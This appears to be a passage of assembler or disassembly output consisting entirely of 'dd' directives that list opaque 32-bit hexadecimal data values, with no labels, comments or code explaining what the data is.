		dd 1D411DCh, 0E6DFE4A3h, 0C75D73F6h, 0E8574798h, 0A384B654h
		dd 79A0F30Eh, 44B122D1h, 3A5040AEh, 131FEAEEh, 761A42h
		dd 0AB3F8718h, 10054936h, 14F1D272h, 65029CF2h,	0AB73771Eh
		dd 4892045Ch, 61FEEC00h, 3043A204h, 0DBD14E26h,	1D13DF9Fh
		dd 8891B92h, 0A24C24DEh, 30B9E23Ch, 52C5C19h, 0C3019280h
		dd 0F41543F5h, 40A10070h, 1B0E2760h, 0B6EC5538h, 782D2CA3h
		dd 0C77EA840h, 8BA0D6h,	0F2C0B8C8h, 2DFD057Dh, 0E44071C5h
		dd 971D677Ah, 0F9023FB9h, 7F8DB231h, 3C099418h,	0A2FC99CFh
		dd 744619EEh, 41854508h, 0B23DC6A4h, 4C0F2E63h,	0E2385017h
		dd 7DE64A8Ch, 0ED07A051h, 9A649826h, 79D95937h,	0B1AF02E8h
		dd 944128CFh, 7827C9E5h, 16A13ED0h, 28914D1Fh, 0E5022C89h
		dd 143E40E4h, 43652FFDh, 5463F210h, 0C403D620h,	0BCCBE09h
		dd 3E6800Eh, 89CB02C5h,	4CABBA53h, 2BB7F468h, 40651526h
		dd 1767A808h, 0CB780019h, 0E0DF31A5h, 0DC730A0Bh, 91E0D8ECh
		dd 18B6D130h, 11291320h, 6594D0ADh, 50B0F82Eh, 236D520h
		dd 0DF72D4A9h, 0A27D0DDAh, 1262CECh, 41A4ECEFh,	10A778D0h
		dd 827DFA35h, 38018874h, 0A6ECEE26h, 0C46C2890h, 2304081Ah
		dd 0F240A2A5h, 7858324Fh, 97B8522h, 2345D5FDh, 0C8B1404Bh
		dd 94843063h, 36B1FF07h, 179BCA13h, 81389124h, 0CC5BF1E2h
		dd 264F5D20h, 5C8F5BCh,	0AABD0AEFh, 6B235820h, 223703B1h
		dd 2ACE0F73h, 3F4950E1h, 60F79885h, 377F9DA0h, 0AC0085F0h
		dd 324D785Bh, 95C1F884h, 0EBA93400h, 340998BEh,	6565742Ch
		dd 604FE494h, 5D232860h, 0F12242Eh, 0F308035Ah,	4AE2DDE8h
		dd 529C307Dh, 99EB0FF2h, 1B607375h, 80E1BAF0h, 0C4FC8BBDh
		dd 2D020270h, 5028C722h, 0FBECEB60h, 469563Dh, 0A7649E9h
		dd 63F5ABC7h, 92F80A8h,	38C49C47h, 8CBE8560h, 0BB0ACF1Fh
		dd 82C1F141h, 1C2C79F8h, 0C453AB3Ah, 0BFB8904Ch, 7D7008Ch
		dd 988ADA45h, 5CBCDEE5h, 99EA803Ah, 212C2052h, 426F0C15h
		dd 9499CE2Bh, 1A4B3FFAh, 1CC12CD4h, 0AC24AE04h,	81AD8838h
		dd 5A938096h, 0E6B4A4h,	1CEE389h, 0C84CEE6Fh, 0AF7A3D25h
		dd 0C02232E8h, 93E18B8h, 96D8B80h, 9890AD5Eh, 652D74DCh
		dd 6077E410h, 3F6C023h,	0CD6E61Bh, 0D900D52Fh, 64F2AC14h
		dd 9CDCB72h, 0B7FCED1Dh, 36E6FC01h, 0FD862CFh, 20286F9Dh
		dd 162E6899h, 0B7AC0083h, 0CAE10EC8h, 8C023906h, 988202A1h
		dd 74F4BDh, 0FCECA7B6h,	2C4835D5h, 9BFE80E8h, 0F15D06B5h
		dd 3FE39051h, 170CD7C0h, 0C102E2D4h, 0DCD940A8h, 8A027A88h
		dd 0ECEE738Ch, 0A89002A6h, 841D4203h, 458F6C81h, 0B828E904h
		dd 31839D0h, 3263016h, 0F1CC049Ch, 948EF84Ah, 6EC43288h
		dd 26DE8C98h, 25F406E0h, 0FD29B8E8h, 64555C24h,	20720B2h
		dd 0F5260D66h, 438720D8h, 0FC88424Ah, 69830070h, 20C856EFh
		dd 0FDE0E9C3h, 805D6506h, 97B98DCCh, 0C9008C37h, 0A82DB032h
		dd 28C07DDBh, 40BC1A03h, 0A24025AAh, 54D14CC1h,	24E0F525h
		dd 0B0B13042h, 51F10B03h, 0E8180BABh, 4C6C0DF7h, 0BBD1A601h
		dd 8EED4FC6h, 90679060h, 3F2944B4h, 89C4FD4Ch, 0C1F410E8h
		dd 1AE10A5Eh, 88C7FD6h,	0A70441BFh, 20A807B9h, 39595D18h
		dd 784F69AAh, 7FE4E2h, 19ACFD2Dh, 70559DCEh, 0F8008FE0h
		dd 0E3F91F58h, 3A859296h, 0B8630DE8h, 0C3B567DEh, 0C10064E0h
		dd 0E04AD7ADh, 3A54FFAh, 722487B3h, 0D3F01965h,	8870EC09h
		dd 241156Bh, 50F1E70h, 0B2C4C147h, 0F8212F8Bh, 0BCED58EEh
		dd 184D11A7h, 0D6C903C0h, 1444B5F6h, 0E92B0400h, 0A1608B21h
		dd 0F2212FFh, 8004A842h, 97D77118h, 4F7D03E1h, 37813EFAh
		dd 2F429490h, 827ED210h, 49FDE70Bh, 0B9A1B040h,	72486B2Dh
		dd 3C352000h, 0A46B4C5Bh, 4F4BA20Fh, 0E9D2D140h, 8C766AA1h
		dd 644C85Dh, 2749AC63h,	7FB11179h, 0C1C5075Bh, 72C40AB0h
		dd 787630C0h, 0C47B043Ah, 0C1D2422Dh, 0FCA9DCA4h, 6007921h
		dd 0B2079702h, 1466A1Ch, 0DA30ECE0h, 88B86EB4h,	0A045C9h
		dd 0BF5EFF89h, 0A0B9C59Bh, 99E24682h, 1FE8533Bh, 0B6DD02DEh
		dd 30D62F63h, 0A27F27BAh, 0F0BE4400h, 30033C74h, 0B59F307Fh
		dd 9C86EA11h, 0BC20D1D2h, 9525A5E7h, 90DA78A3h,	0AD1059B6h
		dd 91002CC5h, 0A248AFD4h, 9E005ED3h, 0AA7252E5h, 27A082FFh
		dd 0E444BA61h, 0A54F7443h, 0D0E6DD98h, 49B7B1CCh, 3BD5BA48h
		dd 0A1DDEF00h, 22D0C495h, 0C4B5EDE1h, 69CB3B38h, 0AF6F4400h
		dd 5A0329C9h, 8B13DC9Eh, 40B39C9Ch, 1B2CE259h, 410B58F4h
		dd 6B90E4B8h, 0E05C21A3h, 0EEAE9E40h, 537C01FFh, 0C678EAD5h
		dd 46DDE48Fh, 0E04C8051h, 8CB1A1B9h, 7C9608h, 6F9F081h
		dd 0B7B57B3Ch, 6A9E00D8h, 0D5F6CA7Ah, 6E058100h, 174103D7h
		dd 8D750A87h, 29CC524Bh, 0EC172F8Ch, 89800C91h,	0AE47B848h
		dd 53BD3802h, 0FE2DE3BAh, 0D7B285B8h, 0C2FCFC43h, 44DE7280h
		dd 0F42700ACh, 159FA6Bh, 7D020EDAh, 2E66BE05h, 39B878F5h
		dd 0B3ACC526h, 0D900DE54h, 7EDF8327h, 443DD50h,	0AC62F715h
		dd 0ADF8B025h, 0CDB4CF1Eh, 7165509h, 0E13CE584h, 5A363B8Dh
		dd 0C6FFD200h, 56F0BCDCh, 0D8E0E375h, 3623100h,	0A0A68E45h
		dd 0F0635A49h, 7841EE90h, 746056FEh, 2D017846h,	2615B608h
		dd 4DA0824Eh, 0F163F712h, 60B4731Ch, 605C6D02h,	0BFCD6150h
		dd 84003645h, 47FE069Ch
		dd 122CFC94h, 92A71Ch, 6BCFB704h, 0D617A280h, 8C8E3C88h
		dd 41C377C8h, 4712C043h, 61A7001Ah, 5359B584h, 0AF9F19B6h
		dd 2F8568E0h, 4A91E417h, 0C71E0480h, 0C5251BB6h, 0A560789Dh
		dd 4ED2D68h, 0F080D145h, 15E3D6Eh, 22F61C5Bh, 0DACC5FDBh
		dd 422EA261h, 908A3C34h, 946769Ch, 0AE6BD50Fh, 0CED224C0h
		dd 761EFC28h, 665841B3h, 78A2C29h, 0FC4E9C5h, 87C0AF49h
		dd 5811D8EDh, 375A0A0Eh, 0EE04E247h, 0F38CA95Dh, 23D57008h
		dd 38220226h, 2868002Dh, 8110722Bh, 0DC7031C6h,	0B3023F6Dh
		dd 0D60CD346h, 0F5A48141h, 562F2949h, 5D3CE498h, 0A110AE95h
		dd 23111C1Fh, 2470C5ECh, 2370B37h, 6D8B91DBh, 5AE79C68h
		dd 822B4081h, 7305675Ch, 8C20588Dh, 0AC05F32Eh,	0A7262718h
		dd 448CB3Ch, 0A0E5F105h, 0E002DECCh, 2BDC730Bh,	0D93C790Dh
		dd 1CF419BEh, 0B2A0775h, 90048F9Dh, 5CC7CC21h, 0DC3FD32Ch
		dd 38833613h, 6547C848h, 80254A90h, 6DF88374h, 0C3A00097h
		dd 3B35FC53h, 0E7807284h, 15407E11h, 0BD2F80B2h, 0C48065C7h
		dd 5738610Ch, 0F7E17E31h, 5EB98FE8h, 0F08025Fh,	94D055CCh
		dd 0F082E109h, 9EA8D0A9h, 0B4CA44F4h, 9400617Ch, 3C97F4F1h
		dd 590770h, 8D21BF4Bh, 559E4579h, 3F0CC17Bh, 4965F106h
		dd 0A4C918B1h, 0F8234064h, 0F3D3D12Dh, 1CF0EB8h, 58550090h
		dd 0C502443Eh, 94BD1F72h, 43DD7D7h, 1365F774h, 0E3DD048Bh
		dd 64251700h, 0E61B4051h, 0A71126ECh, 0E1BF0460h, 0B234B45Ah
		dd 3D3C3F5Dh, 3941E05Dh, 2487CBDh, 0EE104DBCh, 10E1A1ECh
		dd 3E218F7Eh, 21076B23h, 6FCF98C4h, 0CC17A884h,	0E2E4A443h
		dd 23D04645h, 751E27AAh, 2A896811h, 24FD604Eh, 10E424E1h
		dd 1D81401Ah, 8397F5FAh, 22FCF14h, 68976659h, 265D8C5Dh
		dd 84974E4h, 6091F5E7h,	3185CF0Dh, 0BFF13441h, 82298A00h
		dd 0C402CC5Fh, 5A1C04E7h, 5E60B600h, 97B18F7h, 2F426323h
		dd 0E1058068h, 0B1BF8D25h, 87086124h, 44AFC894h, 9169048Ch
		dd 0C3838B75h, 989A809Bh, 19A08257h, 0C2F7005Fh, 0B925DD1Ch
		dd 0F5D4EA26h, 433B3C21h, 8540402Ch, 0B24011A0h, 601E67E8h
		dd 0D1474012h, 8B52D3DBh, 40C33F9Ch, 0E3AA2D73h, 0CB27E880h
		dd 0E4261618h, 9C161009h, 48D758E4h, 78C09042h,	0CECA9767h
		dd 58695CEAh, 0C058EDC9h, 0E4246579h, 2E1BBD0Fh, 0D84EAC8Ah
		dd 0C8D200D0h, 763362CFh, 0B31E916Dh, 0F970B253h, 5E2BB7C5h
		dd 62D8D2D2h, 9460E8F6h, 147257A7h, 0E409E67Dh,	0A63F6112h
		dd 449FE088h, 0F94802E0h, 0AB916F15h, 4BDFE4E0h, 75784EBDh
		dd 0DD61446Bh, 0BF0151EAh, 8478F69Fh, 8052C64Ch, 0AC905F42h
		dd 2FF969D6h, 0BAA0CCh,	1297CC5Eh, 36E3F5F6h, 0AF405705h
		dd 9C40495Ch, 29F1B7CAh, 42FA3Eh, 41957EF5h, 0ACE1BDD8h
		dd 54B30809h, 40909174h, 8A091020h, 9401A080h, 4713CD72h
		dd 80B01E3Bh, 0C5A02F0Fh, 0FB4E28D0h, 40B584D2h, 0E353FFh
		dd 6EA99D61h, 0C7DEEB34h, 5CB6430Bh, 62B017Ah, 8D6F7326h
		dd 14162BCCh, 0BBF0F0A0h, 7CC52764h, 3E614C64h,	0C084D169h
		dd 0B4848CA9h, 406E2734h, 0F5CC221Dh, 0C8A51813h, 0A288802Fh
		dd 1492DBB6h, 0B5847D4Ah, 8C8A1497h, 0DF5CAD80h, 4EEDB807h
		dd 5D5883ECh, 881CCFA5h, 5B82C071h, 3000A78Fh, 0E6672811h
		dd 25DA2C31h, 0C0905E64h, 0EE887102h, 4271C46Dh, 0D7108825h
		dd 980A055Fh, 5942D478h, 47BB24ACh, 3120960Eh, 0C34BE2h
		dd 52CB4F7Ch, 0B932E67Bh, 9F985A05h, 78436112h,	80301DA3h
		dd 13B66D15h, 3064D57Ah, 713D35A4h, 0B66EB380h,	394676E4h
		dd 0F0C0A03h, 0E925E9F4h, 5C9C32DDh, 0C465674h,	9058CC07h
		dd 70F7D334h, 52A488BDh, 7FE55C00h, 4B05DBF3h, 5F7812B8h
		dd 1BAC3087h, 9400DE2Ah, 0E4C83202h, 6C91C0h, 0B5DB9748h
		dd 0A7B723E2h, 0E47650AAh, 0E13802DCh, 62833474h, 18026879h
		dd 70EF5CD5h, 0A5FB22B0h, 871FCE00h, 0FC93B3A3h, 314BFDh
		dd 0B78D7CBCh, 17954234h, 81379150h, 9844E55Bh,	43C09030h
		dd 99EC2246h, 1837D178h, 566F12CAh, 5484B048h, 10BA9451h
		dd 0D0471280h, 7B29AAB0h, 0CA8084CBh, 54BFED0Dh, 0F2E64BB4h
		dd 7B392504h, 0DB67084h, 477F5FEh, 0FC2AF705h, 0B458F9C5h
		dd 1112A798h, 3B61EC96h, 0B095809Ah, 0F72E6635h, 0E7DCA9E6h
		dd 0E47B72F8h, 0D0AB4AC2h, 424D84F0h, 0C189769h, 4B7C19CCh
		dd 65B82073h, 0C7F0FE2Eh, 60B6352Fh, 5FF885A0h,	1298B015h
		dd 7A821810h, 2F8C9B75h, 0B4A69BF8h, 0E9268525h, 509EC560h
		dd 6D4A2062h, 0AD1480F3h, 8C581C82h, 385E111Ah,	0DB2548F1h
		dd 6CFA70ACh, 0E4055DFCh, 2C152ADBh, 0E20404B2h, 0B808C3E6h
		dd 1F252F74h, 8F3C112Ch, 0D0CBE0ABh, 0B9D4E623h, 96F29D3Ch
		dd 281020A0h, 3CE90A03h, 6AAEB4F0h, 0AD660020h,	0CA0524D8h
		dd 23201370h, 9B3CBC84h, 0ED47E002h, 5E3A03F4h,	0CF7746B1h
		dd 0C90A96C0h, 78E61798h, 0A05C7B2Fh, 85D92254h, 5BA50966h
		dd 24741540h, 929B780h,	4A35C60Eh, 8374070Ah, 0B7762543h
		dd 0ECAA1058h, 99213F82h, 757D161Ch, 0A01060EEh, 2D17C67Bh
		dd 94B0777Eh, 0C0649DBCh, 10F02495h, 0ECD22142h, 0A56F032Fh
		dd 9659810Fh, 3898742Dh, 0C69541E0h, 6F65048Ch,	0BE988BACh
		dd 5B59A842h, 6078DB3Fh, 49A4D226h, 89F038A6h, 3725C480h
		dd 0C0F82E9Dh, 1E1DDFB5h, 0ADC00B7h, 172923D1h,	0BD2DF0AAh
		dd 2F7C40C4h, 281AACA0h, 60A8A649h, 0A083A2E1h,	0C6A1CF4Bh
		dd 531AE665h, 0A46421ACh, 65E3D048h, 908220A5h,	2398DC5h
		dd 6858A615h, 0E54F88F8h, 0E22EE080h, 5320B0CBh, 0B2287021h
		dd 13708090h, 4A074856h, 0DC23B113h, 625DAFB4h,	0F3B820h
		dd 1F219CFBh, 42838D92h, 0A570109Dh, 0D0F60B6Eh, 9100B02Eh
		dd 70FF1BEAh, 77635600h, 0FC25E501h, 0FBFE1CD7h, 0FA8E4979h
		dd 0FB732CFBh, 0AA5CF09Eh, 4F210054h, 7833E629h, 90265984h
		dd 0C700F67Fh, 0D41F055Dh, 220B00F3h, 6550289Bh, 6030DC6Ch
		dd 3E4721BCh, 0E7FA0491h, 80E3224Bh, 357FD8A0h,	8025E2E8h
		dd 0C05296h, 4E17A6E6h,	650F2B8Dh, 78DF6A00h, 487F1B6Eh
		dd 0E247003Dh, 0E1C64C96h, 0B33B376Fh, 60AF0B79h, 433A00A2h
		dd 98CCC215h, 6F0E22A8h, 3B21CB0Bh, 73CCE096h, 0B78400C5h
		dd 0D3B842CFh, 0FCB220D1h, 0E104C490h, 0A47DC9E2h, 0A0942BFFh
		dd 1BB87486h, 83A0E06h,	5D022BE2h, 5A8C020Fh, 2378D02h
		dd 0E70FFAD2h, 55C2B69Ch, 3D4840BAh, 0FE08C6AAh, 85371899h
		dd 0D4262828h, 0C6C0EC18h, 1826D508h, 8098A31h,	0DF015B38h
		dd 0AE48033Dh, 0BA92028h, 10C28B31h, 9A01E78Fh,	0D9B101A3h
		dd 0E5F8088Ch, 10C6CDB1h, 2008F632h, 5131F544h,	50F22054h
		dd 0E2EB0888h, 0C416108h, 0BEB09AA2h, 59C3F9C4h, 4270204h
		dd 0A5044D46h, 2D360675h, 250B2008h, 0F9F7AD33h, 0C6101801h
		dd 5E9508FBh, 801AC880h, 0F8133C2h, 94894195h, 10407210h
		dd 0F119D8A6h, 888610FCh, 0C210231h, 7020ACCDh,	0C496E140h
		dd 0C7D99A9h, 62EB5960h, 3583082Eh, 3E85C02h, 4010F132h
		dd 0D1812C4h, 0C1C310CEh, 4BF08C6h, 0FE9F2018h,	20C9FF20h
		dd 0A0654E5Eh, 8C4654A9h, 2020AD83h, 0E17D4B76h, 0F188C081h
		dd 820813F9h, 5C350CE9h, 0E3405008h, 0FE76400Eh, 923F0340h
		dd 0AF2C2024h, 8F31531h, 2088385Ch, 5B15A16Ch, 63BC48ACh
		dd 10DB8F08h, 10E44618h
		dd 432A52DCh, 0FFBE20C8h, 708074EEh, 24778109h,	5040A320h
		dd 87BC400Dh, 0AA100A63h, 0AB081811h, 58C818CBh, 80777580h
		dd 8CA1547h, 0FB88E41Eh, 0A11419F9h, 73A05371h,	0A866917Bh
		dd 20510410h, 393305E3h, 31A06941h, 0AA694048h,	4BFD0233h
		dd 3EEBA0Ch, 101BA263h,	19B1948Eh, 83FDEA9h, 32CC5165h
		dd 16D052F8h, 372B902h,	1818C362h, 4308A660h, 229B80ABh
		dd 28A3ECAAh, 182AD749h, 9D2A98A6h, 16FDF00Eh, 81A863B1h
		dd 3010D029h, 0BB104790h, 128B1045h, 20A71D18h,	8CAA427h
		dd 0A95DC6Dh, 899831D4h, 52032193h, 4C361924h, 10E4FD95h
		dd 0D01027A2h, 0A1DA3156h, 4B02131Eh, 0FDE03468h, 242108C9h
		dd 80910EF8h, 8D023E9Ah, 83DEC48h, 0C4BF8580h, 4195220h
		dd 0EB0440B4h, 0D5700459h, 0C291BD0Ch, 0E5C4F812h, 0BC3BCB4h
		dd 0E378D7D9h, 81BAD4A7h, 80D6A0EFh, 283A5310h,	2470B5Bh
		dd 19482F4Eh, 1CE90FD1h, 9FDC40C9h, 3C004D37h, 6A96EF47h
		dd 74295CC6h, 10FE1701h, 8090E852h, 4255D491h, 15440F17h
		dd 0DBA1DF95h, 0D03C267Ch, 3018BCC1h, 4061645Ch, 19883ACCh
		dd 0D0C92712h, 46EAE560h, 6E064B03h, 37F7A4h, 0F4D663B0h
		dd 84B30DD3h, 0D7682003h, 0E8224349h, 0B4B88h, 79B543Ah
		dd 26574E27h, 508CBA06h, 15878E0h, 0CF3F0985h, 7114C27Ch
		dd 3978BC88h, 7810E09Ch, 2F8660E6h, 0A8D2598Dh,	3018C87Fh
		dd 5C08C731h, 0B8536F1Ah, 0EE6FD280h, 8500ABE8h, 0D6774029h
		dd 6A577Bh, 7C03FC97h, 1D8C4218h, 9C160600h, 0B4525E56h
		dd 0FF8B30C9h, 3F018570h, 6F8215Ch, 905DCF5Fh, 29100F18h
		dd 1DFF2E66h, 34EA948Ch, 753F6105h, 0FD9420D0h,	0AC30CCECh
		dd 0A50D3883h, 4F9D28E1h, 782000FCh, 0E64C6D0Fh, 0A800F134h
		dd 1DB54014h, 259BD78Ah, 4782596h, 815C710Ch, 3B4F08Dh
		dd 0E80159A7h, 481E58F6h, 5B16808Fh, 854014C7h,	2D82FF5Fh
		dd 88E047C9h, 404E5C80h, 7C65E480h, 0FBDD3D67h,	50FC00F4h
		dd 0E86CD686h, 99CE7390h, 744D4143h, 58805BCEh,	0AE4BEEC7h
		dd 0E9066477h, 7338E67Dh, 1DA33AE0h, 300C7F80h,	8B0874DAh
		dd 3C16967Ch, 80A06AE1h, 281274A7h, 2A42729h, 0D1535723h
		dd 0D886D4C7h, 0C63CD911h, 20E413A4h, 0BA877C93h, 4ACE0C3h
		dd 2C0231EEh, 6C927BC0h, 0B5CF171Ch, 8D0060ACh,	0C1737DB3h
		dd 1A008A21h, 6FC9C7A0h, 1A5E4FCEh, 28D8C6CFh, 0E7EC00FFh
		dd 7BE861E5h, 91F0C0BEh, 29B70128h, 9CAC3150h, 0A7BCD40h
		dd 0A72096E6h, 865807E4h, 8B089C80h, 4A60A104h,	14901FA0h
		dd 0D8204011h, 0FB529099h, 0F0342E4h, 0BA8AD560h, 0C61114FCh
		dd 21C6749Ch, 197990C8h, 0E0891483h, 0E52628ECh, 0B4422781h
		dd 34F410FDh, 21654B61h, 843326B4h, 1D9CDD10h, 7038C080h
		dd 5D8A2519h, 5C867854h, 0EB408573h, 91073879h,	8A300E10h
		dd 0F88617C8h, 7BA71C7Ch, 0CF44AB41h, 0E987F449h, 8C66E857h
		dd 0E20E2768h, 205A7C1Fh, 308E2FCDh, 86280B14h,	0B4E0D7E5h
		dd 98A240FDh, 0BFA68C83h, 9EA88DA4h, 34D87BE9h,	6F1ECF50h
		dd 5C42F003h, 0F8A20E14h, 2F000A9Bh, 0D50139h, 60FB21E1h
		dd 3CDA108Ah, 0DD14D278h, 4898F4D9h, 0E015CE24h, 0ECF7FBB5h
		dd 9FAD305Ch, 0AEBDEF0h, 54FFE500h, 21B69C43h, 80D891E1h
		dd 97CE8630h, 38002D4Bh, 17218E3Bh, 459BC37h, 0CCEE64F8h
		dd 8CE8B00Ch, 0B4E86312h, 4048E842h, 0B850609Fh, 0DD89205Bh
		dd 91535C00h, 7A6A2E32h, 0A49C0098h, 0CA29D32Ah, 0B400706Eh
		dd 0C80C9057h, 2D2E75EBh, 70416CE1h, 28683DABh,	0F8C05021h
		dd 85C7886h, 0C090A379h, 3528ACDh, 7ADDBF0Ch, 0B81D7E0h
		dd 972C3085h, 24606B48h, 8A6038E5h, 0D519FCh, 0A19F7B46h
		dd 9481EB28h, 6BD23Eh, 61C48A75h, 50ABCF4Ch, 9FCDFh, 6D21525Bh
		dd 1B11453Dh, 29CE0E00h, 0F5EBCDC7h, 0E86B008Ah, 9074B4BAh
		dd 0E899DEC9h, 2F13F820h, 0D82070EDh, 92A02BE8h, 0C1BC8C20h
		dd 0EE5C7AD8h, 122887B4h, 2F47309Bh, 427983C2h,	0B940621Ch
		dd 0C23BA48Ch, 835F6754h, 26D6B17Ch, 0A43410h, 8C0817CAh
		dd 0E83A4785h, 0B8ACD4F3h, 27A7112Ch, 8026590Ch, 0A36A0463h
		dd 8071CCB1h, 54E18984h, 27881167h, 0B3E87CB3h,	0C8B90F70h
		dd 0F841AAACh, 4434AE5Ch, 0FB881C4h, 71942418h,	2B2064B0h
		dd 7440EBDCh, 27421665h, 0FC52AE8Eh, 267CDA4Ch,	0E18674C9h
		dd 4918C0BFh, 9368E0h, 0CED14A84h, 0E514AD81h, 0D29C2E51h
		dd 1CAFF00Ah, 6C87E110h, 60A1294Bh, 3A0F8648h, 0F27588C1h
		dd 0B0012425h, 60301025h, 317D027Ah, 9CF4C98Ch,	8060C0CAh
		dd 0BD3E5448h, 7C4D7FF8h, 51AE0270h, 4069EA23h,	0FDEF138h
		dd 430E5298h, 8EF0Ah, 0AB1BEE74h, 566415E5h, 380028B1h
		dd 3EB3508Fh, 71422F5h,	67C0A1Ah, 290087C9h, 84DE14D8h
		dd 2F715D0Ch, 1B008E10h, 0FE07E4BAh, 0AB3E7Bh, 3CA8DBE6h
		dd 316B78DCh, 0CBDD3Ah,	39EB2709h, 1C8AEA94h, 470DE2E5h
		dd 1A4BE1BFh, 867E09E4h, 90552C09h, 3538AE0h, 0D7C156E4h
		dd 0BBC1F059h, 131192EDh, 0E1CC4801h, 408778C8h, 8235EE2Fh
		dd 862B202h, 0A155625Dh, 2984365Ch, 663F7C27h, 22456863h
		dd 677194B0h, 2B7FAC2Ch, 0D4E8161Fh, 0EB131971h, 4B0023D3h
		dd 0A1E7E475h, 2B0E0476h, 0C5DDCBA7h, 807095ADh, 944F97D4h
		dd 0E11628EEh, 5C41452Ch, 0B91C5C77h, 1EB4034h,	8C6D47F1h
		dd 0C8D9CDC6h, 7802E989h, 0E0510D93h, 6E0882E5h, 0FCD088FAh
		dd 820ECF85h, 878BD00Bh, 893F2FB8h, 84C476DDh, 0C1E61BA7h
		dd 22A18D98h, 84832C68h, 0E1AF0D60h, 9CAA49E7h,	23D2007Dh
		dd 0DB373639h, 0E6583084h, 0C4FB2810h, 0AA403E77h, 0E12F0D14h
		dd 7338DD32h, 863263Ch,	0C8418A8h, 0C8C1320Ch, 0FCCFA890h
		dd 162C92EDh, 32E6E05Bh, 5481BBCCh, 2D5E8h, 0C5ACE7Ah
		dd 1CD8CF45h, 4202D238h, 5C5F1576h, 9C6A44h, 0B367C394h
		dd 0D7C9EBA3h, 1983430h, 36E3BD10h, 0D492CED9h,	48B8A432h
		dd 786D803h, 0BC65E80Ah, 0C28A1080h, 0F11439CCh, 7C14B848h
		dd 13C09C8Eh, 3B3D65E1h, 0CCB09492h, 8355DA00h,	1F1D4918h
		dd 0C0987ACCh, 0B25825A0h, 1B6738C9h, 8BE78010h, 7344B984h
		dd 0E5F8C3EEh, 0A80BA7FBh, 9AE2FCAh, 5B0405D0h,	0E67EB801h
		dd 64001862h, 0D40F76EDh, 0B2F55542h, 0EF4C3C07h, 0EEA772F0h
		dd 0B4C71436h, 25102C30h, 0E1A21DDBh, 61E3273Ch, 8428EF68h
		dd 55CF6061h, 1724821Eh, 0D4A78FBEh, 60703EC4h,	9BD51894h
		dd 411FBC78h, 3189E9E4h, 39C0E77h, 0AB5E59CCh, 0A1E81261h
		dd 670C096Ch, 0FC790060h, 814FE50Ah, 0E4AAF43Fh, 7CC5D300h
		dd 0D55C8E4Ah, 0DA650748h, 82721359h, 9C432AFEh, 8373C7DCh
		dd 10126A0Bh, 1032E2E0h, 0B62E10AFh, 45098A1h, 9132E891h
		dd 54B56C00h, 7BAC4882h, 15C31C9Eh, 7E3D817Ah, 28C65D25h
		dd 5EE81770h, 92D96442h, 7C000B65h, 5ACDDBAAh, 0E82C22FEh
		dd 2D10500Eh, 97430300h, 528DB390h, 35715505h, 0F48121D7h
		dd 11A356BAh, 6D2D03C8h, 61123BE8h, 20993929h, 0F450984Bh
		dd 5C760C25h, 65A0054Bh, 0A0506395h, 2BDD6B2h, 5BB17466h
		dd 0B458DFEDh, 0E5D0AC66h, 0C8B45D11h, 8671B700h, 4B1EB544h
		dd 80B97C39h, 9B3AB38Eh, 0B0E1C3CBh, 0C2E4AA8Eh, 208846FCh
		dd 1A0015E4h, 7E11FDAAh, 3B1B985h, 168EC128h, 94C00FE3h
		dd 1D00F2DCh
		dd 72767FFFh, 0B067E8D5h, 0E6250C60h, 0E450EC82h, 1D7072F7h
		dd 0D4E8D2CFh, 0E75C7D0Ah, 5289C068h, 1244409h,	7D3E56D1h
		dd 70EBE1B1h, 7C00D22Ch, 8E782534h, 7DBFAC4Fh, 6184FE48h
		dd 429BC05Eh, 59CE40D1h, 0CB7B5204h, 7F061C00h,	0A8EEA473h
		dd 545C1246h, 0F32C4077h, 4F9F1385h, 40246A90h,	0E8062578h
		dd 2850A91Bh, 20FC0897h, 790A70EAh, 6406E46Fh, 9A1F270Bh
		dd 0E5B440FCh, 0F0A87135h, 905BF831h, 0C9B40C90h, 28F0192Fh
		dd 6EE1BE16h, 847C0440h, 13753F09h, 7458E679h, 32D4C5D4h
		dd 8A10BA7Ch, 0C5D532C9h, 54690F50h, 822D028Ch,	0C946B7E0h
		dd 0A0F8489Ch, 7E452E1Ch, 0C0061298h, 30E34A0Ch, 7100ECB3h
		dd 59A3F42Bh, 9407BAEh,	7F1BFC66h, 6D5CBC80h, 0C10CB28Eh
		dd 987E6590h, 402D7964h, 832CAB8Fh, 0DF0F5CA0h,	119B8001h
		dd 71B26C0Ah, 0C136387Bh, 444AA84Dh, 19F21E0h, 5AA37780h
		dd 0D1D77840h, 73D30D0Bh, 686B0Eh, 58FA6F08h, 48007CB1h
		dd 2FE85418h, 7DC98B8h,	0EDE5251Bh, 93604336h, 24B0C0B3h
		dd 4049E2CAh, 130C5840h, 28885884h, 308C27C6h, 444B005h
		dd 80186C90h, 1F604F78h, 0E6738104h, 0D0D0AB46h, 4381A8Ah
		dd 0FD8231C2h, 4048874Fh, 259CE783h, 1F90C1B5h,	3FCC4DD9h
		dd 4167255Dh, 6EC90081h, 92CDF8E4h, 8C6FFA09h, 8E08813h
		dd 0CB5CCC02h, 64706814h, 0D9432ED3h, 4AB13084h, 20C72A3Ch
		dd 0D05CBEE5h, 6B498E7h, 0FEE13176h, 7F12286Ah,	2030987Ah
		dd 0FC311FC9h, 5D0D00BAh, 0C2D07F89h, 9000358Ch, 47CBEBE4h
		dd 7272AE0h, 3BB76BE8h,	91FBC07Ah, 4F7C8321h, 9CA9C800h
		dd 12FC36D2h, 0B50E3242h, 6466A170h, 48E5DE40h,	7B818C1Ah
		dd 42AFEAE6h, 2864619Ch, 9C96CAF6h, 8240542Ch, 2CB88D43h
		dd 0BB1415C9h, 0AD0CA481h, 0F0BDC82Eh, 70BAD439h, 5BCF70A0h
		dd 87167C92h, 90044019h, 0DA02591Bh, 0B8877B63h, 0D0D564E8h
		dd 9E92C768h, 36936E00h, 2B2F1545h, 0D3B30177h,	0E6764A7Fh
		dd 0F8438ACh, 8072B5CAh, 71A68EABh, 0DA09046Ah,	0ADDD40F3h
		dd 0F98F007Ch, 8E80E2FAh, 3FB80047h, 0F5C1F394h, 709C3073h
		dd 0DA1950h, 2E79D061h,	48A6E1B8h, 600120B2h, 0E65537D9h
		dd 2C7B99h, 0E3CCFF06h,	73A0E038h, 0A006923h, 0E5E40B6Bh
		dd 1DC82C6Fh, 52379E54h, 72CB1CC7h, 0EC80BDF0h,	43A0950Fh
		dd 421E1413h, 28702C13h, 592EE305h, 0DDDE3C59h,	14C180A4h
		dd 5DCF40EAh, 4FC4F654h, 9F579801h, 80EE7C25h, 3080DC54h
		dd 3BE3ABh, 0FDDF89BFh,	0DE8FD308h, 52553E00h, 91B2EACCh
		dd 97CD5CCAh, 0B2149E24h, 0B8538338h, 853A4826h, 8E523815h
